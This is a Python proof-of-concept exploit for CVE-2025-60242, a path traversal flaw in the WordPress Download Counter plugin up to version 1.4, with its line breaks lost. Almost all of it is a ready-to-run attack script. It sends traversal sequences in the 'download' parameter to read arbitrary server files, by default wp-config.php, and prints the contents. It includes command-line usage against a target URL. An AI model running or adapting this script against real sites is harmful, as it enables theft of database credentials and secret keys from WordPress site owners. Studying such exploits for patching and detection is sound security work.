CVE-2025-60242

# CVE-2025-60242 Path Traversal PoC # Target: WordPress Download Counter Plugin <= 1.4 # Vulnerability: Arbitrary File Download via Path Traversal import requests import sys def exploit_cve_2025_60242(target_url, file_path='../../wp-config.php'): """ Exploit path traversal vulnerability in Download Counter plugin Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (using traversal sequences) Returns: Content of the requested file """ # Construct the malicious URL with path traversal payload exploit_url = f"{target_url}/wp-content/plugins/download-counter/download.php" # Add path traversal payload to the file parameter params = { 'download': file_path } try: print(f"[*] Target: {target_url}") print(f"[*] Requesting file: {file_path}") response = requests.get(exploit_url, params=params, timeout=10) if response.status_code == 200: print(f"[+] Success! File content retrieved ({len(response.content)} bytes)") print("=" * 60) print(response.text[:1000]) # Print first 1000 chars return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-60242.py <target_url> [file_path]") print("Example: python cve-2025-60242.py http://target.com ../../wp-config.php") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] if len(sys.argv) > 2 else '../../wp-config.php' exploit_cve_2025_60242(target, file_path) if __name__ == '__main__': main()

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